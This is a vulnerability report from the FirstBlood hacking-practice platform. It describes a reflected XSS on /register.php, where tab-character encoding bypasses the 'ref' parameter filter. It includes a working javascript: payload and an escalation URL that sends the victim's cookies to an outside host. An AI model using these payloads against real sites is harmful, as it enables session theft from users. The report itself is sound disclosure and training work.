FirstBlood-#738 — Reflected XSS on /register.php via the ref parameter
This issue was discovered on FirstBlood v2
On 2021-10-27, 0xblackbird Level 5 reported:
Hello! I saw that the previous fix(es) were not sufficient to stop an attacker from exploiting the cross-site scripting issue on /register.php
. I was able to bypass the filter easily by using a url encoded tab character.
Proof of concept:
Steps to reproduce:
- When we visit
/register.php?ref=/xyz
and inspect the "Return to previous page" button, we can see that it'll redirect us to /xyz
if we click it.

- Now that we know that the value of the ref parameter gets reflected inside the href html attribute, we can start crafting our payload. Just entering
javascript:confirm(1)
won't help, java as well as script gets replaced with nope (for some reason). This indicates that there's a filter in place that tries to sanitize our input. This means that we need to make sure that it doesn't read java, script or javascript. To do so, we can for example use a separator like a tab character.

- As you can see in the screenshot above, java wasn't replaced by nope while script was. Now we can do the same thing for script to construct the javascript protocol which eventually will allow us to execute javascript:

- As long as the double or single quotes are present and that javascript protocol is reflected in there, it should be valid, regardless of a tab character or carriage return/line feed separating it. So, in this case, let's try to execute for example
confirm(1)
:

Escalation:
Of course, just a simple confirm box is worth nothing. A bad actor would want to steal at least something, like cookies or other sensitive data. Below is a little proof of concept to redirect the victim with the cookies to a website controlled by the attacker.
https://b8c8c63fab4d-0xblackbird.a.firstbloodhackers.com/register.php?ref=ja%09vascr%09ipt:document.location.href=%60//example.com/?cookies%3D${document.cookie}%60

Now when the victim clicks on the button to return to the previous page, he will get redirected to the attackers end instead with the cookies.

Thanks!
Kind regards,
0xblackbird
P3 Medium
Endpoint: /register.php
Parameter: ref
Payload: ja%09vascr%09ipt:confirm`1`
FirstBlood ID: 32
Vulnerability Type: Reflective XSS
The parameter ?ref on register.php was poorly fixed and can be bypassed in various ways. Firstly the developer failed to use strtolower() when comparing strings, and the use of characters such as
%09
will also bypass the filter.